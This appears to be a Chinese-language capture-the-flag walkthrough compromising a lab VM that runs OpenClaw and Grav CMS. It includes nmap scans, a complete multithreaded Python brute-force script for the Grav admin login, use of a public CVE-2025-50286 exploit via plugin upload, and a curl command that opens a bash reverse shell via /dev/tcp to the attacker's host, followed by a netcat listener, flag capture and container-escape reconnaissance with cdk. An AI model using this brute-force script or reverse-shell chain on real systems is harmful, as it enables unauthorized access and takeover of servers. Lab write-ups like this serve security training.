信息收集
$ nmap -p- 192.168.31.198 --min-rate 5000
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-03 10:07 -0400
Nmap scan report for openflow (192.168.31.198)
Host is up (0.00054s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
8080/tcp open http-proxy
MAC Address: 08:00:27:24:5A:42 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.64 seconds
```bash
$ nmap -sVC -O -p 22,80,443,8080 192.168.31.198 -oN nmapscan/nmap_tcp
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-03 10:08 -0400
Nmap scan report for openflow (192.168.31.198)
Host is up (0.00077s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to https://openflow/
443/tcp open ssl/http Apache httpd 2.4.62 ((Debian))
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.62 (Debian)
|_ssl-date: TLS randomness does not represent time
|_http-title: OpenClaw Control
| ssl-cert: Subject: commonName=yourdomain.com/organizationName=YourCompany/stateOrProvinceName=Beijing/countryName=CN
| Not valid before: 2026-03-11T11:21:19
|_Not valid after: 2027-03-11T11:21:19
8080/tcp open http nginx
|_http-title: Home | Grav
|_http-generator: GravCMS
| http-robots.txt: 13 disallowed entries
| /.github/ /.phan/ /assets/ /backup/ /bin/ /cache/ /logs/
|_/system/ /tests/ /tmp/ /user/ /vendor/ /webserver-configs/
MAC Address: 08:00:27:24:5A:42 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: Host: openflow.dsz; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.04 seconds80,443: https://github.com/openclaw/openclaw
这个不太用扫, openclaw 应该都用过吧,就是要么 token 认证要么账号密码认证,还要有一个机器认证
8080: 
https://github.com/getgrav/grav
这是第二个
● Grav 安装后 Web 目录结构分析 /var/www/grav/ # Web根目录 (DOCUMENT_ROOT) │ ├── index.php # 主入口文件 ├── .htaccess # Apache重写规则 ├── robots.txt # 爬虫规则 │ ├── cache/ # ⚠️ 缓存目录 (敏感) │ ├── images/ │ └── twig/ │ ├── logs/ # ⚠️ 日志目录 (敏感) │ └── grav.log │ ├── tmp/ # ⚠️ 临时文件 ├── backup/ # ⚠️ 备份文件 │ ├── images/ # 用户上传图片 ├── assets/ # 编译后资源 │ ├── user/ # ⚠️ 用户内容 (关键) │ ├── accounts/ # ⚠️ 用户账户数据 (YAML) │ │ └── admin.yaml # 默认管理员账户 │ ├── config/ # 用户配置 │ │ ├── site.yaml # 站点配置 │ │ ├── security.yaml # 安全配置 │ │ └── plugins/ │ │ └── admin.yaml # ⚠️ Admin插件配置 │ ├── data/ # ⚠️ 用户数据 │ ├── pages/ # 页面内容 (Markdown) │ ├── plugins/ # ⚠️ 插件目录 │ └── themes/ # ⚠️ 主题目录 │ ├── system/ # 核心系统 (只读) │ ├── config/ # 系统配置 │ ├── src/ # PHP源码 │ ├── blueprints/ # 表单定义 │ └── languages/ # i18n │ └── vendor/ # Composer依赖
| 路径 | 说明 | 默认存在 |
|---|---|---|
/admin | Admin后台登录 | ❌ 需安装admin插件 |
/user/accounts/ | 用户账户存储 | ✅ |
/cache/ | 缓存目录 | ✅ |
/logs/ | 日志目录 | ✅ |
/user/config/plugins/admin.yaml | Admin配置 | ❌ 需安装admin插件 |
这个应用没有默认凭据
我们只能先猜测是admin了
用用我们的 minimax 驱动的 claudecode…
grav_brute.py:
"""
Grav Admin Brute Force Script
- 每次登录重新获取nonce
- 跟随重定向,检查最终页面判断成功/失败
"""
import argparse
import requests
import sys
import time
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
def try_login(target_url, username, password, verbose=False):
"""尝试登录"""
session = requests.Session()
try:
# 1. 获取登录页面和nonce
r1 = session.get(target_url, timeout=10)
nonce_match = re.search(r'name="login-nonce" value="([^"]+)"', r1.text)
if not nonce_match:
return False, "获取nonce失败"
nonce = nonce_match.group(1)
# 2. 提交登录
r2 = session.post(
target_url,
data={
"data[username]": username,
"data[password]": password,
"task": "login",
"login-nonce": nonce
},
allow_redirects=False,
timeout=15
)
# 3. Grav返回303重定向,需要跟随
if r2.status_code in [301, 302, 303]:
# 4. 访问重定向目标,通常是 /admin
r3 = session.get(target_url, timeout=10)
# 判断成功/失败
text_lower = r3.text.lower()
# 成功特征:包含dashboard,不包含登录表单错误
if 'dashboard' in text_lower and 'login' not in text_lower:
return True, f"成功! 密码: {password}"
# 失败特征:包含login-box和error
if 'login-box' in text_lower or 'admin-login' in text_lower:
if 'error' in text_lower or 'login failed' in text_lower:
return False, "登录失败"
# 有登录框但没错误,可能还在登录页
return False, "返回登录页"
# 其他情况检查URL
if 'login' not in r3.url.lower() and r3.status_code == 200:
return True, f"成功! 密码: {password}"
return False, f"状态码: {r3.status_code}"
# 非303响应
return False, f"非重定向响应: {r2.status_code}"
except requests.exceptions.Timeout:
return False, "超时"
except Exception as e:
return False, str(e)
def main():
parser = argparse.ArgumentParser(description='Grav Admin Brute Force')
parser.add_argument('-u', '--url', required=True, help='目标URL')
parser.add_argument('-w', '--wordlist', required=True, help='密码字典文件')
parser.add_argument('-u2', '--username', default='admin', help='用户名 (默认: admin)')
parser.add_argument('-t', '--threads', type=int, default=3, help='线程数 (默认: 3)')
parser.add_argument('-o', '--output', help='输出结果文件')
parser.add_argument('-v', '--verbose', action='store_true', help='详细输出')
args = parser.parse_args()
# 加载密码字典
try:
with open(args.wordlist, 'r', encoding='utf-8') as f:
passwords = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"[-] 文件不存在: {args.wordlist}")
sys.exit(1)
except Exception as e:
print(f"[-] 读取字典失败: {e}")
sys.exit(1)
print(f"[*] 目标: {args.url}")
print(f"[*] 用户名: {args.username}")
print(f"[*] 密码数: {len(passwords)}")
print(f"[*] 线程: {args.threads}")
print(f"[*] 开始: {time.strftime('%H:%M:%S')}")
print("-" * 50)
found = False
results = []
completed = 0
def check_password(pwd):
return try_login(args.url, args.username, pwd, args.verbose)
with ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = {executor.submit(check_password, pwd): pwd for pwd in passwords}
for future in as_completed(futures):
completed += 1
pwd = futures[future]
success, msg = future.result()
if success:
found = True
print(f"\n[!] *** 撞开! *** 用户: {args.username} 密码: {pwd}")
results.append((args.username, pwd, msg))
executor.shutdown(wait=False)
for f in futures:
f.cancel()
break
else:
if args.verbose:
print(f"[-] {pwd}: {msg}")
else:
print(f"\r[*] 进度: {completed}/{len(passwords)} 当前: {pwd}", end='', flush=True)
print("\n" + "-" * 50)
if not found:
print(f"[-] 完成,共测试 {completed} 个,未找到")
if args.output and results:
with open(args.output, 'w') as f:
for u, p, m in results:
f.write(f"{u}:{p} - {m}\n")
print(f"[+] 结果已保存: {args.output}")
if __name__ == '__main__':
main()这里不要用只看 status 的方法,不行的,我建议你,以后写爆破也要提示ai或者自己,尽量不要直接看status的方法,有相当多的web只能跟随重定向才能看出来的
$ python grav_brute.py -u "http://192.168.31.198:8080/admin" -w /usr/share/wordlists/Probable-Wordlists/Real-Passwords/Top304Thousand-probable-v2.txt -t 10
...
[!] *** 撞开! *** 用户: admin 密码: Admin123$ grep -rn "Admin123" .
./jwt.secrets.list:3754:Admin123
./rockyou.txt:2163792:Admin123
./rockyou.txt:11436211:Admin12320
./rockyou.txt:11436212:Admin123*
./Probable-Wordlists/Analysis-Files/Appearances-Top304Thousand-probable-v2.txt:72956:97 Admin123
./Probable-Wordlists/Real-Passwords/Top304Thousand-probable-v2.txt:72956:Admin123
./Probable-Wordlists/Real-Passwords/WPA-Length/Top204Thousand-WPA-probable-v2.txt:36070:Admin123
./Probable-Wordlists/wpa-dictionary/english.txt:98310:Admin123…我没话说了,我跑了1个多小时,我的mj哥以后设置密码不要这么往后好吗…
然后继续吧
$ proxychains git clone https://github.com/binneko/CVE-2025-50286.git来点插件,我不知道可以用吗,这种一般挺泛用的,我试试
Location: /admin/tools/direct-install

传 zip
权限提升
# Session 1
$ curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/192.168.31.187/4444 0>&1'" http://192.168.31.198:8080/
# Session 2
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.31.187] from (UNKNOWN) [192.168.31.198] 58320
bash: cannot set terminal process group (237): Not a tty
bash: no job control in this shell
27dc8f6a13f5:/app/www/public$ id
id
uid=1000(abc) gid=1000(users) groups=1000(users)27dc8f6a13f5:/home/user$ cat user.txt
cat user.txt
flag{user-16a1140056a17826c20d51b1ed2502f9}用 cdk 扫一下
27dc8f6a13f5:/tmp/1$ ./cdk eva --full
...
8:1 /home/welcome /home/user rw,relatime - ext4 /dev/sda1 rw,errors=remount-ro
...直接写个公钥看看